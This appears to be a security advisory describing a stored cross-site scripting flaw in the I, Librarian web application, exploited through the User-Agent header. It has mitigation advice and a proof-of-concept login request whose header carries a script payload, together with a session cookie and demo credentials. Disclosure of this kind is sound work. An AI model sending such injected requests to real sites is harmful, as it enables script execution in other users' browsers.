Description

Stored XSS attack, also known as persistent XSS attack, refers to a type of web application vulnerability where the attacker injects malicious code or script into the web application, typically into a database or other storage mechanism, and later the code/script is delivered to an unsuspecting client through a normal request. User-Agent header is a part of the HTTP request header that identifies the operating system, browser, and other software that the client is using to communicate with the server. An attacker can exploit this vulnerability by injecting malicious code into the User-Agent header. When a server receives such a request, it stores the User-Agent header in its database or other storage mechanism. Later when the server responds to a legitimate request with this User-Agent header from the attacker’s machine, the malicious code is executed in the victim’s browser, leading to theft of sensitive information and other malicious actions. To prevent a Stored XSS attack through User-Agent header, web application developers should ensure that all user input is properly sanitized and validated before being stored, and implement measures such as input validation and data filtering to minimize the risk of malicious code injection.

Proof of Concept

POST /demo/index.php/authentication HTTP/1.1
Host: i-librarian.net
Cookie: IL=ra0tisri54880n9re39hefjbvv
Content-Length: 108
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: <script>window.location.href = 'https://www.google.com';</script>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: application/json, text/javascript, */*; q=0.01
X-Client-Width: 1920
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Platform: "macOS"
Origin: https://i-librarian.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://i-librarian.net/demo/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=user&password=user42user&csrfToken=58d5f8fb6393d79bafae6d7c838d845c6898527015d44d47ad5cd2734f72b47a